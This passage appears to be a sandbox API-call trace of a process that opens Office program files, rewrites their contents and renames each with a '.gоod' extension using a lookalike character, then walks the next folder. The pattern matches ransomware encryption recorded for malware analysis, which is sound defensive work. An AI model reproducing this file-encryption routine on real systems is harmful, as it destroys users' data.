lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0185.763] GetFileType (hFile=0x7c8) returned 0x1 [0185.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0185.763] GetFileType (hFile=0x7c8) returned 0x1 [0185.763] WriteFile (in: hFile=0x7c8, lpBuffer=0x360df88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x360df88*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0185.763] CloseHandle (hObject=0x7c8) returned 1 [0185.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE", lpFilePart=0x0) returned 0x3b [0185.763] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.gоod", lpFilePart=0x0) returned 0x40 [0185.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0185.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2415e4bb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aeef13e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3840b8)) returned 1 [0185.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0185.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe.gоod")) returned 1 [0185.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", lpFilePart=0x0) returned 0x3c [0185.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0185.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3664c18 | out: lpFileInformation=0x3664c18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851)) returned 1 [0185.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0185.765] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", lpFilePart=0x0) returned 0x3c [0185.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0185.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0185.765] GetFileType (hFile=0x7c8) returned 0x1 [0185.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0185.766] GetFileType (hFile=0x7c8) returned 0x1 [0185.766] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0185.766] ReadFile (in: hFile=0x7c8, lpBuffer=0x3665010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3665010*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0185.767] CloseHandle (hObject=0x7c8) returned 1 [0185.768] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", lpFilePart=0x0) returned 0x3c [0185.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0185.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0185.768] GetFileType (hFile=0x7c8) returned 0x1 [0185.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0185.768] GetFileType (hFile=0x7c8) returned 0x1 [0185.768] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x2851 [0185.768] WriteFile (in: hFile=0x7c8, lpBuffer=0x3666298*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3666298*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0186.409] CloseHandle (hObject=0x7c8) returned 1 [0186.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", lpFilePart=0x0) returned 0x3c [0186.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0186.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0186.485] GetFileType (hFile=0x820) returned 0x1 [0186.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0186.485] GetFileType (hFile=0x820) returned 0x1 [0186.485] ReadFile (in: hFile=0x820, lpBuffer=0x36c0748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x36c0748*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0186.544] CloseHandle (hObject=0x820) returned 1 [0186.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", lpFilePart=0x0) returned 0x3c [0186.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0186.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0186.544] GetFileType (hFile=0x820) returned 0x1 [0186.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0186.544] GetFileType (hFile=0x820) returned 0x1 [0186.544] WriteFile (in: hFile=0x820, lpBuffer=0x36bf4b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x36bf4b0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0186.544] CloseHandle (hObject=0x820) returned 1 [0186.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL", lpFilePart=0x0) returned 0x3c [0186.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.gоod", lpFilePart=0x0) returned 0x41 [0186.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0186.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6b6625f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2861)) returned 1 [0186.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0186.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XML2WORD.XSL.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xml2word.xsl.gоod")) returned 1 [0186.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0186.546] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033", lpFilePart=0x0) returned 0x34 [0186.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0186.548] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18d33e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18d33e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18d33e2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98fae45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98fae45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x46a78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x358f248, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x358f248, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x358f248, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x13260, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x358f248, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x358f248, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x358f248, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xc0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4580dcb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4580dcb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0186.550] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4580dcb, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4580dcb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC.HTM", cAlternateFileName="")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeRes.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef9622ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3058, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45348e5, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45348e5, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3143659, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0186.551] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9622ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9622ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef9622ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19490, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45348e5, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45348e5, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4580dcb, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa284551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ede, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="COLLEC~2.XSN")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x401b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="COLLEC~1.XSN")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99b9a24, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99b9a24, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="DATASE~1")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3163050, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3163050, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3163050, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2a658, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0186.552] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45cd2b0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45cd2b0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45cd2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45cd2b0, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45cd2b0, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x45cd2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0186.553] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b09036, 